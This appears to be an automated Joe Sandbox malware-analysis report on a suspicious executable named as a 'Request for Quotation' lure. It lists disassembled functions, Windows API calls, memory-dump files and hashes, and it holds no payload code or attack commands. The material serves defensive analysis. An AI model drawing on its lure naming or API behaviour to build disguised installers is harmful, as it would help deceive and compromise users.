GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\Request for Quotation New collaboration.exe,80000000,00000003), ref: 00405B5A
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction ID: 50e17d5b3030c5d5ce0b1439250f6e41608f831a0cbc2ce1bc41554210f96241
Opcode Fuzzy Hash: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction Fuzzy Hash: 48D09E71658201EFFF098F20DE16F2EBBA2EB84B00F10562CB656940E0D6715815DB16

Function 004026F9 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 00402713

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 9c9351cd5493f6acb52240965b0f8c81d6de1eb3f207cde75e45128e5fdd4ef9
Instruction ID: 7b0a8f507568a188bd2c0a80d79ed85a493e53c174130335dce059ea839ee6d0
Opcode Fuzzy Hash: 9c9351cd5493f6acb52240965b0f8c81d6de1eb3f207cde75e45128e5fdd4ef9
Instruction Fuzzy Hash: 13E01AB1B15114ABDB01ABE59D49CEEB66DEB00319F20043BF101B00D1C27989019E7E

Function 00402253 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040228A

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction ID: 4332bbb19f5efe4f35bb732f6f353b7f8865d75a24debaa01da2fd7198b4a795
Opcode Fuzzy Hash: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction Fuzzy Hash: 18E04F329041246ADB113EF20E8DE7F31689B44718B24427FF551BA1C2D5BC1D434669

Function 00401718 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 0040172C

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 95a92e1ee1deeee5d79651ccf25ffb42940f0592216d2c6bc0bf3332ed8f09d6
Instruction ID: f28d117729d6db308ba67ea043928a1e47cb3974c8f3bd2f87491376c6cbdc89
Opcode Fuzzy Hash: 95a92e1ee1deeee5d79651ccf25ffb42940f0592216d2c6bc0bf3332ed8f09d6
Instruction Fuzzy Hash: 73E048B2314200AAD710DFA5DE48EEA776CDB0036CF304676E611A61D0D2B45A41D72D

Function 00402C44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,000001FA,00000000,00000022,00000000,?,?), ref: 00402C6C

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
Instruction ID: 83e72149abe1372da0a381261de05d436a54b8bdbe31dfced4d63089b9680d6c
Opcode Fuzzy Hash: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
Instruction Fuzzy Hash: A0E04F7624010CBADB00DFA4ED46F9577ECEB14705F108425B608D6091C674E5008768

Function 00405BD9 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction ID: e5271f86abd3e691175676240f3b6d2dabcfddd4658b863dc1b472273301a449
Opcode Fuzzy Hash: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction Fuzzy Hash: 8EE08632104259ABDF109E548C04EEB775CFB04350F044432F911E3140D231E820DBA4

Function 1000278D Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027AB

Memory Dump Source

Source File: 00000000.00000002.2037060970.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2037043192.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037076720.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037093643.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quotation New collaboration.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 267fa8ad402a2f1685f06aa6efb9df116a04c7e31b4918ac066fddfc95f4d9be
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 5EF092F15097A0DEF350DF688C847063BE0E7483C4B03852AE368F6268EB344044CF19

Function 00404164 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7da09c7c9c972ac789da334295fdd31a978bd1861dc1653affe8cad2486e61eb
Instruction ID: f15b28e5f211e7e8d1db6812d8cffd834990aabd0fd5fa3204c122ebb67abe5b
Opcode Fuzzy Hash: 7da09c7c9c972ac789da334295fdd31a978bd1861dc1653affe8cad2486e61eb
Instruction Fuzzy Hash: 2BB01235684202BBEE314B00ED0DF957E62F76C701F008474B340240F0CAB344B2DB09

Function 0040330F Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction ID: 9708a756cc2c9ae94551e8e9c592081b607f980c3267f7876f2ac268d6c84cd7
Opcode Fuzzy Hash: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction Fuzzy Hash: B8B01231584200BFDA214F00DE05F057B21A790700F10C030B304381F082712420EB5D

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,10001259,?,?,10001534,?,10001020,10001019,00000001), ref: 10001225

Memory Dump Source

Source File: 00000000.00000002.2037060970.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2037043192.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037076720.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037093643.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quotation New collaboration.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 004052D3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405332
GetDlgItem.USER32(?,000003EE), ref: 00405341
GetClientRect.USER32(?,?), ref: 0040537E
GetSystemMetrics.USER32(00000015), ref: 00405386
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004053A7
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053B8
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053CB
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053D9
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053EC
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040540E
ShowWindow.USER32(?,00000008), ref: 00405422
GetDlgItem.USER32(?,000003EC), ref: 00405443
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405453
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040546C
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405478
GetDlgItem.USER32(?,000003F8), ref: 00405350

Part of subcall function 00404164: SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

GetDlgItem.USER32(?,000003EC), ref: 00405495
CreateThread.KERNEL32(00000000,00000000,Function_00005267,00000000), ref: 004054A3
CloseHandle.KERNEL32(00000000), ref: 004054AA
ShowWindow.USER32(00000000), ref: 004054CE
ShowWindow.USER32(?,00000008), ref: 004054D3
ShowWindow.USER32(00000008), ref: 0040551D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405551
CreatePopupMenu.USER32 ref: 00405562
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405576
GetWindowRect.USER32(?,?), ref: 00405596
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055AF
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055E7
OpenClipboard.USER32(00000000), ref: 004055F7
EmptyClipboard.USER32 ref: 004055FD
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405609
GlobalLock.KERNEL32(00000000), ref: 00405613
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405627
GlobalUnlock.KERNEL32(00000000), ref: 00405647
SetClipboardData.USER32(0000000D,00000000), ref: 00405652
CloseClipboard.USER32 ref: 00405658

Strings

{, xrefs: 0040553B

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 0c7871d9c118b0e9bc82f4af322ee916726f515fd3ec4b55100c1069ec2247ae
Instruction ID: 9fa9afbe460ba73b362fbd7a7e80f39848d7c2b38d0fa32ac3ffaaa5a75fb061
Opcode Fuzzy Hash: 0c7871d9c118b0e9bc82f4af322ee916726f515fd3ec4b55100c1069ec2247ae
Instruction Fuzzy Hash: 4AB16B70900209BFDF219F60DD89AAE7B79FB04315F50803AFA05BA1A0C7759E52DF69

Function 004045CA Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404619
SetWindowTextW.USER32(00000000,?), ref: 00404643
SHBrowseForFolderW.SHELL32(?), ref: 004046F4
CoTaskMemFree.OLE32(00000000), ref: 004046FF
lstrcmpiW.KERNEL32(Call,004226D0,00000000,?,?), ref: 00404731
lstrcatW.KERNEL32(?,Call), ref: 0040473D
SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040474F

Part of subcall function 004056AA: GetDlgItemTextW.USER32(?,?,00000400,00404786), ref: 004056BD

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76F93420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76F93420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76F93420,00403512), ref: 00406208

GetDiskFreeSpaceW.KERNEL32(004206A0,?,?,0000040F,?,004206A0,004206A0,?,00000000,004206A0,?,?,000003FB,?), ref: 00404810
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040482B
SetDlgItemTextW.USER32(00000000,00000400,00420690), ref: 004048B1

Strings

A, xrefs: 004046ED
Call, xrefs: 0040472B, 00404730, 0040473B
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 0040471A

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$Call
API String ID: 2246997448-3461569884
Opcode ID: 5e1be59e26550fe03483dde9140ef9c7df16d0723f1807c21cae017824fc49c2
Instruction ID: fc6e5784adbf23f3bf0ca4204261aafad130db7b69f5cfc08d06a9dfd3cb4e02
Opcode Fuzzy Hash: 5e1be59e26550fe03483dde9140ef9c7df16d0723f1807c21cae017824fc49c2
Instruction Fuzzy Hash: 1B916FB2900209ABDB11AFA1CC85AAF77B8EF85354F10847BF701B72D1D77C99418B69

Function 00402770 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040277F

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e985ba924887a1bc27921ead0041ac8d1a9f7f1065ea0f82ea0bc3cd49787025
Instruction ID: c3eebe46d33317c4d9c4db9deeb30b83dd141210d4acf70d00b973005abdca29
Opcode Fuzzy Hash: e985ba924887a1bc27921ead0041ac8d1a9f7f1065ea0f82ea0bc3cd49787025
Instruction Fuzzy Hash: 81F05EB1614114DBDB00DBA4DD499AEB378FF14318F20097AE141F31D0D6B45940DB2A

Function 004042CC Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040436A
GetDlgItem.USER32(?,000003E8), ref: 0040437E
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040439B
GetSysColor.USER32(?), ref: 004043AC
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043BA
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043C8
lstrlenW.KERNEL32(?), ref: 004043CD
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043DA
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043EF
GetDlgItem.USER32(?,0000040A), ref: 00404448
SendMessageW.USER32(00000000), ref: 0040444F
GetDlgItem.USER32(?,000003E8), ref: 0040447A
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044BD
LoadCursorW.USER32(00000000,00007F02), ref: 004044CB
SetCursor.USER32(00000000), ref: 004044CE
ShellExecuteW.SHELL32(0000070B,open,00427180,00000000,00000000,00000001), ref: 004044E3
LoadCursorW.USER32(00000000,00007F00), ref: 004044EF
SetCursor.USER32(00000000), ref: 004044F2
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404521
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404533

Strings

CB@, xrefs: 004044D8
N, xrefs: 00404468
